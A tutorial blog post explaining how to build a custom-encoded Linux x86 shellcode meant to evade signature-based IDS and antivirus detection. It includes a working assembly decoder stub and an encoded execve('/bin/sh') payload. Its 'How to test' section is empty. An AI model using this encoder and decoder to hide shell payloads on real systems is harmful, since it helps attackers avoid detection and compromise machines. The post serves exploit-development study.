How to write a (Linux x86) custom encoded shellcode

Adrian Citu

Goal

Very often the shellcode authors will try to obfuscate the shellcode in order to bypass the ids/ips or the anti-viruses. This kind of shellcode is often call an “encoded shellcode”.  The goal of this ticket is to propose an (rather simple) encoding schema and the decoding part written in assembler.

What is an encoded shellcode

An encoded shellcode is a shellcode that have the payload encoded in order to escape the signature based detection. To work correctly the shellcode must initially decode the payload and then execute it. For a very basic example you can check the A Poor Man’s Shellcode Encoder / Decoder video.

(My) custom encoder

The encoding schema that I propose is the following one:

  • the payload is split in different blocks of random size between 1 and 9 bytes.
  • the first octet of each block represents the size of the original block.
  • the last character of the last block is a special character represented a terminal (0xff).

Supposing that the payload is something like:

0xaa,0xbb,0xcc,0xdd,0xee

One possible encoding version could be:

0x02,0xaa,0xbb,0x01,0xcc,0x03,0xdd,0xee,0xff

or

0x04,0xaa,0xbb,0xcc,0xdd,0x02,0xee,0xff

or

0x09,0xaa,0xbb,0xcc,0xdd,0xee,0xff

If you want to play with this encoding schema you can use the Random-Insertion-Encoder.py program that will write to the console the encoded shellcode for a specific shellcode.

(My) custom decoder

So, initially the payload will be encoded (with the custom shema) and when the shellcode is executed, in order to have a valid payload, the decoder should be executed. The decoder will decode the payload and then pass the execution to the payload.

The first problem that the decoder should solve is to find the memory address of the encoded payload. In order to do this, we will use the “Jump Call Pop” mechanism explained in the Introduction to Linux shellcode writing (Part 2) (paragraph 5.1 ).

The  skeleton of the decoder will look like:

global _start 
section .text
_start:
 jmp short call_shellcode
decoder:
 ; the top of the stack contains the
 ; address of the EncodedShelcode
 
 ; decoder code
call_shellcode:
 call decoder
 EncodedShellcode: db 0x06,.........,0xff

 A few words before showing you the code of the decoder. The decoder basically moves bytes from the right toward the left and skip the first byte of each block until the terminal byte is found. For the move of the bytes the lodsb and stosb instructions are used. These instructions are using the ESI (lodsb) and EDI (stosb) registers, so you can see ESI as a source register and EDI as a destination register.

The DL register is used as block bytes counter and the CL register contains the content of the first byte of each block. So, in order to know if all the bytes of a block had been copied a comparison between DL and CL is done.

A special care should be take before the ESI register is incremented; either manually or automatically by the lodsb instruction. A check should be done if the ESI points to the terminator byte and stop the copy otherwise the decoder will try to read memory locations that do not have access (and the program will stop with a core dumped exception).

So, here is the code of the decoder:

global _start 
section .text
_start:
 jmp short call_shellcode

decoder:
 ;get the adress of the shellcode
 pop esi

 ;allign edi and esi
 lea edi, [esi]

handle_next_block:
 ;check that the esi do not point
 ;to the terminator byte
 xor ecx,ecx
 mov cl, byte[esi]
 mov bl , cl
 xor bl, 0xff

 ;if esi points to terminator byte
 ;then execute the shellcode
 jz short EncodedShellcode

 ;otherwise then ship next byte
 ;because it's the first byte
 ;of the block and it contains
 ;the number of bytes that
 ;the block contains.
 inc esi
 
 ;dl it is used to count the
 ;number of bytes from a block
 ;already copied
 xor edx, edx
 
handle_next_byte:
 ;check that the esi do not point
 ;to the terminator byte
 mov bl, [esi]
 xor bl, 0xff
 
 ;if esi points toterminator byte
 ;then execute the shellcode
 jz short EncodedShellcode
 
 ;otherwise copy the byte pointed by
 ;esi to the location pointed by edi;
 ;esi is automatically incremented by
 ;the lodsb and edi by stosb
 lodsb
 stosb
 
 ;one more byte of the block had been copied
 ;so increment the counter
 inc dl
 
 ;check that all the bytes of the block
 ;have been copied;
 ;cl contains the first byte of the block
 ;representing the number of bytes of the
 ;block and dl contains the number of
 ;block bytes already copied
 cmp cl, dl
 
 ;if not zero then not all the block bytes
 ;have been copied
 jnz handle_next_byte
 
 ;otherwise go to the next block
 jmp handle_next_block
call_shellcode:
 call decoder
 EncodedShellcode: db 0x06,0x31,0xc0,0x50,0x68,0x2f,0x2f,0x09,0x73,0x68,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x01,0x50,0x07,0x89,0xe2,0x53,0x89,0xe1,0xb0,0x0b,0x01,0xcd,0x09,0x80,0xff

How to test the shellcode

In order to test the shellcode you must follow the next steps:

All the source codes presented in this ticket can be found here: gitHub.

Bibliography